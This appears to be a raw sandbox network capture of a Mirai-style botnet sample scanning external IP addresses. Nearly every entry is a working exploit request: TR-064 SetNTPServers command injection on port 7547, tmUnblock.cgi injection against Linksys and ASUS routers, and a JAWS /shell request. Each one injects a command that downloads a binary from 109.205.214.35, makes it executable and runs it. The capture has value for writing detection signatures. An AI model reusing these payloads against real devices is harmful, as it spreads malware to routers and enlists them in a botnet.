Mar 21, 2024 05:26:00.176810026 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:00 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.23	35652	115.20.204.85	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.885911942 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.23	39232	110.66.27.9	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.892244101 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:00.189405918 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.23	49572	59.22.40.124	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.022911072 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:11.886364937 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:25.967526913 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:54.120491028 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.23	45392	172.67.41.140	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.036834002 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.23	43988	77.25.132.174	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.166711092 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:04.207454920 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.23	49712	59.22.40.124	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.299247980 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:01.743776083 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:03.439577103 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:07.025528908 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:13.935553074 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:27.500185013 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:56.168214083 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.23	33216	78.29.95.90	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.407691002 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.23	53292	203.173.133.194	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.591218948 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.23	46364	196.210.100.229	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.637116909 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:00.999311924 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:26:01 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.23	33224	78.29.95.90	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.639045000 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.23	59894	172.65.173.141	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.652611017 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.23	53298	203.173.133.194	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:00.881269932 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.23	42474	217.25.9.155	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:01.326050043 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:01.498944044 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:26:01 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:26:01.925431013 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:26:01 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.23	44128	159.65.59.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:01.330188036 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:01.499315977 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:26:01 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.23	57060	216.92.42.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:01.431904078 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
